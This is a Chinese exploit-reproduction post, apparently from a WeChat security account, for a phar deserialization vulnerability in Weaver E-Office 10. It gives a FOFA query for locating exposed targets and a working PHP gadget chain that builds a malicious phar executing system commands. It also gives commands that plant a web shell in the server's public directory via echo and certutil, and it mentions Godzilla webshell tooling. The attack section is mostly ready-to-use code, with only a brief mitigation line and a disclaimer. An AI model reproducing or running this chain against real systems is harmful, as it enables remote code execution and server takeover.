漏洞影响版本: v10.0_20180516 < E-Office10 < v10.0_20240222
fofa语法
body="eoffice10" && body="eoffice_loading_ti"
第2个请求,利用Phar:// 伪协议读取phar文件
第3个请求,通过第一步获取的id触发漏洞
2、如非必要,不要将 受影响系统 放置在公网上。或通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。
declare(strict_types=1);
namespace IlluminateBroadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
protected $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace IlluminateBus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver) {
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$command = new IlluminateBroadcastingBroadcastEvent("whoami");
$dispatcher = new IlluminateBusDispatcher("system");
$pendingBroadcast = new IlluminateBroadcastingPendingBroadcast($dispatcher, $command);
// 临时文件路径
$tempPharPath = 'phar.phar';
// 创建 Phar
$phar = new Phar($tempPharPath);
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($pendingBroadcast);
$phar->stopBuffering();
$pharData = file_get_contents($tempPharPath);
$base64PharData = base64_encode($pharData);
$base64OutputFilePath = 'phar_base64.txt';
file_put_contents($base64OutputFilePath, $base64PharData);
unset($phar);
unlink($tempPharPath);
echo "Base64编码的Phar数据已写入到当前目录文件 {$base64OutputFilePath}";
}
getshell需要生成2个字符串,修改上面的php代码,2个$command如下,后续我会将工具实现一键哥斯拉。
// 第1个是写入php代码,我这里写的是phpinfo的base64编码
$command = new IlluminateBroadcastingBroadcastEvent("echo PD9waHAgcGhwaW5mbygpOyA/Pg== > ../www/eoffice10/server/public/shell.php");
// 第2个是进行base64解码
$command = new IlluminateBroadcastingBroadcastEvent('certutil -decode ../www/eoffice10/server/public/shell.php ../www/eoffice10/server/public/shell2.php');
原文始发于微信公众号(Sec探索者):【漏洞复现】泛微 E-Office 10 atuhfile phar 反序列化漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论